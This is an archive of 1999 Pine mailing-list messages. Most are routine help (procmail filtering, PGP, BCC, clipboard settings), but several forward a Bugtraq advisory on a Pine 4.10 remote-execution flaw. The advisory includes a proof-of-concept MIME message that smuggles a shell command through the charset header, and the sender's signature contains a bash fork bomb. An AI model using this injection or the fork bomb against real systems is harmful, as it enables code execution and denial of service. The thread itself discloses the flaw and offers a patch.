----------------------------------------------------------------- > For information about this mailing list, and its archives, see: > http://www.washington.edu/pine/pine-info/ > ----------------------------------------------------------------- > -- Ken Woods kwoods@kens.com From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 8 Feb 1999 00:09:32 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id AAA16680 for ; Mon, 8 Feb 1999 00:09:27 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA04213; Mon, 8 Feb 1999 00:09:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id AAA06830; Mon, 8 Feb 1999 00:07:40 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA30018 for ; Mon, 8 Feb 1999 00:05:16 -0800 Received: from luomat.peak.org (port-4-ts2-gnv.da.fdt.net [209.212.132.35]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id AAA30083 for ; Mon, 8 Feb 1999 00:05:14 -0800 (PST) Received: by luomat.peak.org (8.9.2/8.9.0) id DAA04321; Mon, 8 Feb 1999 03:05:07 -0500 (GMT-0500) Message-Id: <199902080805.DAA04321@ocalhost> Date: Mon, 8 Feb 1999 03:05:05 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Timothy J Luoma To: Pine Discussion Forum Subject: Re: procmailrc In-Reply-To: <19990208034849.2330.qmail@hotmail.com> References: <19990208034849.2330.qmail@hotmail.com> Content-Type: text/plain MIME-Version: 1.0 X-To: "Krishnakumar Subramanian" X-Cc: Pine Discussion Forum X-Image-URL: http://www.peak.org/~luomat/luomat@peak.org.tiff X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Author: "Krishnakumar Subramanian" Date: Sun, 07 Feb 1999 19:48:48 PST ID: <19990208034849.2330.qmail@hotmail.com> > Can anyone help me with getting a default procmailrc file or help me in > writing one on my own. I get a lot of mails and have difficulty sorting > them with pine. This is a question for the procmail mailing list, procmail@informatik.rwth-aachen.de > I am looking for a way to send mail with specific address to a specific > folder on arrival. basically it would be something like this: SHELL=/bin/sh USER=YourUSERNAMEhere PATH=YourPathHere # change this to the dir where PINE saves mailboxes # if you don't know, try this command at a prompt: # # fgrep folder-collections ~/.pinerc |\ # sed 's/folder-collections=//g' | sed 's/\/\[\]$//g' # # remove the '#' from in front of those two lines MAILDIR=$HOME/mail :0w: * ^Sender: PINE-INFO-owner pine-info :0w: * ^From:.*kriskumar_s@hotmail\.com From_ME :0w: * ^TOkriskumar_s@hotmail\.com TO_ME # NOTE: ^TO is special to procmail For any followup questions, please checkout the procmail list. > Also I would like to send all read mails to specific > folders. I am aware that there is help in pine itself, but I am not able > to configure it properly. Goto the configure screen and select this option: [ ] auto-move-read-msgs TjL ps -- These user questions really belong on comp.mail.pine From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 8 Feb 1999 03:14:22 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id DAA21312 for ; Mon, 8 Feb 1999 03:14:21 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA06618; Mon, 8 Feb 1999 03:14:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id DAA11251; Mon, 8 Feb 1999 03:12:31 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id DAA32962 for ; Mon, 8 Feb 1999 03:10:07 -0800 Received: from gabriel.ul.ie (gabriel.ul.ie [136.201.1.101]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id DAA11664 for ; Mon, 8 Feb 1999 03:10:03 -0800 (PST) Received: from student.ul.ie (tomnewe.staff5.ul.ie [136.201.144.170]) by gabriel.ul.ie with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3) id 1GVNR826; Mon, 8 Feb 1999 11:10:36 -0000 Message-Id: <36BEC648.A653FF2A@student.ul.ie> Date: Mon, 08 Feb 1999 11:11:05 +0000 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Nicola Lenihan <9514139@student.ul.ie> To: Pine Discussion Forum Subject: PGP 5.0i with pine 3.92 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: root@mxu2.u.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi everyone, Can anyone help me? I am trying to get Pine working with PGP 5.0i. This is for a project I need to have done for two weeks time. Is there scripts available? I have found scripts such as mkpgp and pgppine but these are for pgp 2.6.3. I would be grateful for any help. Thanks Nicola Lenihan ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 8 Feb 1999 03:34:03 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id DAA21865 for ; Mon, 8 Feb 1999 03:34:01 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id DAA29019; Mon, 8 Feb 1999 03:34:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id DAA04595; Mon, 8 Feb 1999 03:32:40 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id DAA22770 for ; Mon, 8 Feb 1999 03:30:30 -0800 Received: from server.amis.net (server.amis.net [195.10.52.10]) by mxu4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id DAA28786 for ; Mon, 8 Feb 1999 03:30:26 -0800 (PST) Received: from ms2-15.dialup.amis.net (ms2-15.dialup.amis.net [195.10.51.46]) by server.amis.net (8.8.8/8.8.8) with ESMTP id MAA26512 for ; Mon, 8 Feb 1999 12:30:18 +0100 (CET) Message-Id: Date: Mon, 8 Feb 1999 12:31:08 +0100 (CET) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Iztok Polanic To: Pine Discussion Forum Subject: remote exploit on pine 4.10 - neverending story? (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Sender: ssdipola@localhost.localdomain X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hello !!! I picked this up at BUGTRAQ list. Are you going to fix this? Bye. ////// xxxxxx ( o o ) xx xx /------------oOO-----O-----OOo------------\ xx xx | From: Iztok Polanic | xxxx | E-mail: Iztok.Polanic1@guest.arnes.si | xx xx | WWW: http://kotzi.home.ml.org | xx xx | http://www.intering.si | xx xx \-----------------------------------------/ Affected systems: ----------------- Any Un*x system running 'pine' up to version 4.10 (latest). Compromise: ----------- Remote execution of arbitrary code when message is viewed. Details: -------- About five months ago, I reported vunerability in metamail package used with pine. I also noticed that '`' character is incorrectly expanded by pine. Problem has been ignored (probably noone understood what I am talking about?;-). But no matter. An exception from /etc/mailcap: text/plain; shownonascii iso-8859-1 %s; test=test "`echo %{charset} | tr '[A-Z]' '[a-z]'`" = iso-8859-1; copiousoutput Impact: ------- And now, ladies and gentelmen - my old bug, reinvented. Usually, above mailcap line is expanded to: [...] execve (sh) (-c) (test "`echo 'US-ASCII' | tr '[A-Z]' '[a-z]'`" = iso-8859-1) Hmm, but take a look at this message: ************************** MIME MESSAGE FOLLOWS ************************** From: Attacker To: Victim Subject: Happy birthday ... MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319" --8323328-235065145-918425607=:319 Content-Type: TEXT/PLAIN; charset='US-ASCII' Make a wish... --8323328-235065145-918425607=:319 Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c" Content-Transfer-Encoding: BASE64 Content-Description: wish Content-Disposition: attachment; filename="wish.c" ...it could be your last. *************************** MIME MESSAGE ENDS *************************** The result is: [...] execve (sh) (-c) (test "`echo '``touch${IFS}ME``' | tr '[A-Z]' '[a-z]'`" = iso-8859-1) ...and arbitrary code ('touch ME', encoded using ${IFS} trick) is executed when message is viewed. Fix: ---- Well, it's the second time I report problems with ` in headers. Maybe pine developers should wait a little longer ;-) _______________________________________________________________________ Michal Zalewski [lcamtuf@ids.pl] [ENSI / marchew] [dione.ids.pl SYSADM] [lunete.nfi.pl SYSADM] [http://dione.ids.pl/lcamtuf] bash$ :(){ :|:&};: [voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813] Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch] From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 8 Feb 1999 05:30:44 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id FAA23891 for ; Mon, 8 Feb 1999 05:30:43 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA30580; Mon, 8 Feb 1999 05:30:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id FAA02084; Mon, 8 Feb 1999 05:28:55 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id FAA33340 for ; Mon, 8 Feb 1999 05:26:35 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id FAA00955 for ; Mon, 8 Feb 1999 05:26:35 -0800 (PST) Received: from luomat.peak.org (port-11-ts2-gnv.da.fdt.net [209.212.132.42]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA30534 for ; Mon, 8 Feb 1999 05:26:30 -0800 Received: by luomat.peak.org (8.9.2/8.9.0) id IAA02716 for pine-info@cac.washington.edu; Mon, 8 Feb 1999 08:26:23 -0500 (GMT-0500) Message-Id: <199902081326.IAA02716@ocalhost> Date: Mon, 8 Feb 1999 08:26:21 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Timothy J Luoma To: Pine Discussion Forum Subject: BUGTRAQ >> remote exploit on pine 4.10 - neverending story? Content-Type: text/plain MIME-Version: 1.0 X-To: pine-info@cac.washington.edu X-Image-URL: http://www.peak.org/~luomat/luomat@peak.org.tiff X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Can we get someone @ UofW to comment on this please? TjL Begin forwarded message: Message-ID: Date: Mon, 8 Feb 1999 00:22:17 +0100 Reply-To: Michal Zalewski Sender: Bugtraq List From: Michal Zalewski Subject: remote exploit on pine 4.10 - neverending story? To: BUGTRAQ@netspace.org Affected systems: ----------------- Any Un*x system running 'pine' up to version 4.10 (latest). Compromise: ----------- Remote execution of arbitrary code when message is viewed. Details: -------- About five months ago, I reported vunerability in metamail package used with pine. I also noticed that '`' character is incorrectly expanded by pine. Problem has been ignored (probably noone understood what I am talking about?;-). But no matter. An exception from /etc/mailcap: text/plain; shownonascii iso-8859-1 %s; test=test "`echo %{charset} | tr '[A-Z]' '[a-z]'`" = iso-8859-1; copiousoutput Impact: ------- And now, ladies and gentelmen - my old bug, reinvented. Usually, above mailcap line is expanded to: [...] execve (sh) (-c) (test "`echo 'US-ASCII' | tr '[A-Z]' '[a-z]'`" = iso-8859-1) Hmm, but take a look at this message: ************************** MIME MESSAGE FOLLOWS ************************** From: Attacker To: Victim Subject: Happy birthday ... MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319" --8323328-235065145-918425607=:319 Content-Type: TEXT/PLAIN; charset='US-ASCII' Make a wish... --8323328-235065145-918425607=:319 Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c" Content-Transfer-Encoding: BASE64 Content-Description: wish Content-Disposition: attachment; filename="wish.c" ...it could be your last. *************************** MIME MESSAGE ENDS *************************** The result is: [...] execve (sh) (-c) (test "`echo '``touch${IFS}ME``' | tr '[A-Z]' '[a-z]'`" = iso-8859-1) ...and arbitrary code ('touch ME', encoded using ${IFS} trick) is executed when message is viewed. Fix: ---- Well, it's the second time I report problems with ` in headers. Maybe pine developers should wait a little longer ;-) _______________________________________________________________________ Michal Zalewski [lcamtuf@ids.pl] [ENSI / marchew] [dione.ids.pl SYSADM] [lunete.nfi.pl SYSADM] [ Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 8 Feb 1999 06:47:07 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA24505 for ; Mon, 8 Feb 1999 06:47:06 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA31610; Mon, 8 Feb 1999 06:47:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id GAA04602; Mon, 8 Feb 1999 06:44:30 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id GAA24644 for ; Mon, 8 Feb 1999 06:41:49 -0800 Received: from zeus.jersey.net (zeus.jersey.net [209.66.0.10]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA16198 for ; Mon, 8 Feb 1999 06:41:48 -0800 (PST) Received: from localhost (tobey@localhost) by zeus.jersey.net (8.9.1/or whatever) with SMTP id JAA14437; Mon, 8 Feb 1999 09:46:17 -0500 (EST) Message-Id: Date: Mon, 8 Feb 1999 09:46:16 -0500 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Tobey Rector To: Pine Discussion Forum Subject: Re: BCC In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Chris MacLeod X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Sorry Had to do this. See Dick, See Dick Run, She Jain, She Jane Fall. Sorry Thank you.. Tobey Rector (609)227-4428 InterActive Network Systems P.O. Box 1429 Blackwood, NJ 08012 -- Don't you hate it when life doesn't follow the manuals? On Fri, 5 Feb 1999, Chris MacLeod wrote: > Date: Fri, 5 Feb 1999 10:31:59 -0600 (CST) > From: Chris MacLeod > To: Pine Discussion Forum > Subject: Re: BCC > > Blind Carbon copy allows you to send a message to multiple recipients > without them seeming who else the message was copied to. > > For example: > To: bob@bob.com > CC: jane@jane.com > Bcc: steve@steve.com > > This will send a message to bob, jane, and steve > Bob and Jane will see that the message was sent to bob and jane > > Steve will see that the message was sent to bob and jane but won't see his > name on the list even though he still got it. > > Bob and Jane will not know that steve received the message. > > > On Fri, 5 Feb 1999, ASHWANTH FERNANDO wrote: > > > Date: Fri, 5 Feb 1999 21:39:33 +0000 (IST) > > From: ASHWANTH FERNANDO > > To: Pine Discussion Forum > > Subject: Re: BCC > > > > Frankly speaking , I too do not know what it means -sending a blind carbon > > copy. In fact I am also a novice , I sek help from Pine only. Please > > forgive me . Ashwanth fernando > > > > -- > ------------------------------------------------------------------------------ > stick@physis.viper.net Chris MacLeod > Web Systems Administrator www.miscellaneous.net > > With blue, uncertain, stumbling buzz, > Between the light and me, > And then the windows failed, and then > I could not see to see. > > -Emily Dickenson "I Heard A Fly Buzz When I Died" > ------------------------------------------------------------------------------ > "Beware the penguins..." -Morphy > > GNUpgp Public key Available - finger physis@miscellaneous.net > > > From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 8 Feb 1999 09:07:13 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA26860 for ; Mon, 8 Feb 1999 09:07:12 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA02195; Mon, 8 Feb 1999 09:07:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA23716; Mon, 8 Feb 1999 09:04:11 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA17554 for ; Mon, 8 Feb 1999 09:01:05 -0800 Received: from sass165.sandia.gov (mailgate.sandia.gov [132.175.109.1]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA06871 for ; Mon, 8 Feb 1999 09:01:04 -0800 (PST) Received: from sasg829.sandia.gov (sasg829.sandia.gov [134.253.226.190]) by sass165.sandia.gov (8.9.1a/8.9.1a) with ESMTP id KAA27465 for ; Mon, 8 Feb 1999 10:01:01 -0700 (MST) Message-Id: Date: Mon, 8 Feb 1999 09:59:22 -0700 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Daniel Sands To: Pine Discussion Forum Subject: RE: Insert vs. Overwrite? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I don't even see an option to switch between insert and overwrite. Are you sure it is really overwriting in the message, and not just on the screen? If they are using the wrong terminal type, any strange thing can happen. > > The platform being used is HP/UX. I happen to have access to a similar > > platform running 3.96 and it doesn't exhibit the behavior mentioned. This > > doesn't answer the real question either....but it appears to rule out a pine > > specific issue. > > Even for accounts that reported the problem, I logged in as the user, > from my terminal, then I tried to use pine, and it works fine. > > They however complain that it doesn't work. > > I wonder if it has something to do with the terminal they are using? From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Mon, 8 Feb 1999 10:45:10 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA21727 for ; Mon, 8 Feb 1999 10:45:08 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA15619; Mon, 8 Feb 1999 10:45:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA25180; Mon, 8 Feb 1999 10:35:43 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA27800 for ; Mon, 8 Feb 1999 10:32:59 -0800 Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA17029 for ; Mon, 8 Feb 1999 10:32:57 -0800 (PST) Received: from pita.cisco.com (pita.cisco.com [171.71.68.13]) by pita.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id KAA02621; Mon, 8 Feb 1999 10:32:50 -0800 (PST) Message-Id: Date: Mon, 8 Feb 1999 10:32:50 -0800 (PST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Dan Wing To: Pine Discussion Forum Subject: Re: BUGTRAQ >> remote exploit on pine 4.10 - neverending story? In-Reply-To: <199902081326.IAA02716@ocalhost> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-1804928587-918498770=:2379" X-To: Pine Discussion Forum , pine-bugs@cac.washington.edu X-Cc: lcamtuf@ids.pl, Timothy J Luoma , Iztok Polanic X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Diese Meldung ist im MIME-Format. Das erste Teil sollte lesbarer Text sein, waehrend die restlichen Teile wahrscheinlich ohne MIME-faehig Hilfsmittel unlesbar sind. ---559023410-1804928587-918498770=:2379 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 8 Feb 1999 08:26 -0500, Timothy J Luoma wrote: I have slammed together a fix which seems to close this exploit. Diff's attached. Obviously my patch needs to be tested to ensure it doesn't still allow a similar attack. -Dan Wing dwing@cisco.com > Message-ID: > Date: Mon, 8 Feb 1999 00:22:17 +0100 > Reply-To: Michal Zalewski > Sender: Bugtraq List > From: Michal Zalewski > Subject: remote exploit on pine 4.10 - neverending story? > To: BUGTRAQ@netspace.org > > Affected systems: > ----------------- > > Any Un*x system running 'pine' up to version 4.10 (latest). > > Compromise: > ----------- > > Remote execution of arbitrary code when message is viewed. > > Details: > -------- > > About five months ago, I reported vunerability in metamail package used > with pine. I also noticed that '`' character is incorrectly expanded by > pine. Problem has been ignored (probably noone understood what I am > talking about?;-). But no matter. An exception from /etc/mailcap: > > text/plain; shownonascii iso-8859-1 %s; test=test "`echo %{charset} | tr > '[A-Z]' '[a-z]'`" = iso-8859-1; copiousoutput > > Impact: > ------- > > And now, ladies and gentelmen - my old bug, reinvented. Usually, above > mailcap line is expanded to: > > [...] execve (sh) (-c) (test "`echo 'US-ASCII' | tr '[A-Z]' > '[a-z]'`" = iso-8859-1) > > Hmm, but take a look at this message: > > ************************** MIME MESSAGE FOLLOWS ************************** > From: Attacker > To: Victim > Subject: Happy birthday > ... > > MIME-Version: 1.0 > Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319" > > --8323328-235065145-918425607=:319 > Content-Type: TEXT/PLAIN; charset='US-ASCII' > > Make a wish... > > --8323328-235065145-918425607=:319 > Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c" > Content-Transfer-Encoding: BASE64 > Content-Description: wish > Content-Disposition: attachment; filename="wish.c" > > ...it could be your last. > > *************************** MIME MESSAGE ENDS *************************** > > The result is: > > [...] execve (sh) (-c) (test "`echo '``touch${IFS}ME``' | tr > '[A-Z]' '[a-z]'`" = iso-8859-1) > > ...and arbitrary code ('touch ME', encoded using ${IFS} trick) is > executed when message is viewed. > > Fix: > ---- > > Well, it's the second time I report problems with ` in headers. > Maybe pine developers should wait a little longer ;-) > > _______________________________________________________________________ > Michal Zalewski [lcamtuf@ids.pl] [ENSI / marchew] [dione.ids.pl SYSADM] > [lunete.nfi.pl SYSADM] [ [voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813] > Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch] > > > ---559023410-1804928587-918498770=:2379 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="mailcap.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: diff -c Content-Disposition: attachment; filename="mailcap.diff" KioqIC4uLy4uL3BpbmU0LjEwLW9yaWdpbmFsL3BpbmUvbWFpbGNhcC5jCVdl ZCBOb3YgMTggMTA6MDA6MTUgMTk5OA0KLS0tIG1haWxjYXAuYwlNb24gRmVi ICA4IDEwOjIxOjUzIDE5OTkNCioqKioqKioqKioqKioqKg0KKioqIDkxMiw5 MTcgKioqKg0KLS0tIDkxMiw5MjIgLS0tLQ0KICAJCQkgICAgKnRvKysgPSAn XFwnOw0KICAJCQkgICAgKnRvKysgPSAnXCcnOyAgLyogYmVsb3cgd2lsbCBi ZSBvcGVuaW5nIHF1b3RlICovDQogIAkJCX0NCisgI2lmZGVmIERBTldJTkcN CisgCQkJaWYoKnAgPT0gJ2AnKSB7DQorIAkJCSAgKnRvKysgPSAnXFwnOw0K KyAJCQl9DQorICNlbmRpZg0KICAJCQkqdG8rKyA9ICpwOw0KICAJCSAgICB9 DQogIA0K ---559023410-1804928587-918498770=:2379-- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 9 Feb 1999 10:07:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA18253 for ; Tue, 9 Feb 1999 10:07:19 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA10377; Tue, 9 Feb 1999 10:07:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA00727; Tue, 9 Feb 1999 10:04:33 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA22966 for ; Tue, 9 Feb 1999 10:00:36 -0800 Received: from templar.fgi.net (templar.fgi.net [206.101.112.9]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA11859 for ; Tue, 9 Feb 1999 10:00:34 -0800 (PST) Received: from chat96.fgi.net (chat96.fgi.net [208.149.185.96]) by templar.fgi.net (8.9.0/8.8.4) with ESMTP id MAA20639; Tue, 9 Feb 1999 12:00:06 -0600 Message-Id: Date: Tue, 9 Feb 1999 12:02:15 -0500 (US Eastern Standard Time) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Steven Ertelt To: Pine Discussion Forum Subject: re ctrl-K In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Michael Seibel X-Cc: Pine Discussion Forum X-X-Sender: ertelt@mail.telalink.net X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm still wondering if anyone knows how to disable the ctrl-K command from putting text that's cut onto the copy/paste clipboard. I used to use Unix-based Pine and it didn't do that and PC Pine does. Thanks, Steven From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Tue, 9 Feb 1999 12:30:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA22415 for ; Tue, 9 Feb 1999 12:30:04 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA14442; Tue, 9 Feb 1999 12:30:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA16461; Tue, 9 Feb 1999 12:26:41 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA24404 for ; Tue, 9 Feb 1999 12:22:41 -0800 Received: from midway.eti.com (halfway.eti.com [208.237.100.114]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA04343 for ; Tue, 9 Feb 1999 12:22:40 -0800 (PST) Received: from tahiti.eti.com (tahiti.eti.com [172.16.16.1]) by midway.eti.com (8.9.0/8.9.0) with ESMTP id OAA17530; Tue, 9 Feb 1999 14:22:35 -0600 (CST) Received: from brain.eti.com 